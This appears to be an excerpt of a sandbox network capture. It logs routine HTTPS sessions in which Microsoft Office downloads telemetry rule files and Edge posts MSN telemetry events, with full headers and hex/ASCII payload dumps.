2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 41743bdd-f01e-003c-7cd5-338cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968cdxdrhC1EWRg0en00000004x0000000002qmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ca9795ec-a01e-006f-27d5-3313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968c2t8dhC1EWR8s2000000004p0000000003gaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:31 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: a04d8451-d01e-00ad-12d5-33e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968swgbqhC1EWRmnb4000000051g000000004fgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49922	40.79.167.8	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:31 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731325229335&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11014 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-11 11:40:31 UTC	11014	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 31 3a 34 30 3a 32 39 2e 33 33 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 66 31 30 39 33 33 32 2d 62 38 36 61 2d 34 38 32 63 2d 62 66 63 64 2d 38 38 62 65 61 34 34 37 63 33 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 37 39 38 36 39 33 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T11:40:29.334Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"4f109332-b86a-482c-bfcd-88bea447c3be","epoch":"4179869379"},"app":{"locale
2024-11-11 11:40:31 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f361c023a7534b7b8a4d38dcf35dd5db&HASH=f361&LV=202411&V=4&LU=1731325231169; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 11:40:31 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3e8bb6f7e99a4be6aa85aa36b496b88d; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 12:10:31 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1834 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 11:40:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49921	40.79.167.8	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:31 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731325229350&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4675 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-11 11:40:31 UTC	4675	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 31 3a 34 30 3a 32 39 2e 33 34 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 66 31 30 39 33 33 32 2d 62 38 36 61 2d 34 38 32 63 2d 62 66 63 64 2d 38 38 62 65 61 34 34 37 63 33 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 37 39 38 36 39 33 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T11:40:29.347Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"4f109332-b86a-482c-bfcd-88bea447c3be","epoch":"4179869379"},"app":{"locale
2024-11-11 11:40:31 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=366485ef30d141a19dec2c6ee0239935&HASH=3664&LV=202411&V=4&LU=1731325231180; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 11:40:31 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=fc87e56cb31547f3beb60e96a8250ec9; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 12:10:31 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1830 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 11:40:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:31 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:31 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: b29ecc16-801e-00a3-01d5-337cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114031Z-174f7845968nxc96hC1EWRspw800000004pg000000003ndk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:31 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:31 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7f458887-c01e-008e-47d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114031Z-174f7845968cdxdrhC1EWRg0en00000004xg000000001axa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:31 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 2302abc5-d01e-0017-53d5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114031Z-174f7845968cdxdrhC1EWRg0en00000004qg00000000an6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:31 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:31 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 65803071-501e-000a-4fd5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114031Z-174f7845968cpnpfhC1EWR3afc00000004k000000000314t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:31 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49929	40.79.167.8	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:31 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731325230045&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5198 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1; msnup=
2024-11-11 11:40:31 UTC	5198	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 31 3a 34 30 3a 33 30 2e 30 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 66 31 30 39 33 33 32 2d 62 38 36 61 2d 34 38 32 63 2d 62 66 63 64 2d 38 38 62 65 61 34 34 37 63 33 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 37 39 38 36 39 33 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T11:40:30.044Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"4f109332-b86a-482c-bfcd-88bea447c3be","epoch":"4179869379"},"app":{"locale
2024-11-11 11:40:32 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=18a5e01d4e314c06aa0b0b378462b020&HASH=18a5&LV=202411&V=4&LU=1731325232100; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 11:40:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b43884eb9756469a99f6ee24f8d8b569; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 12:10:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2055 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 11:40:31 GMT Connection: close

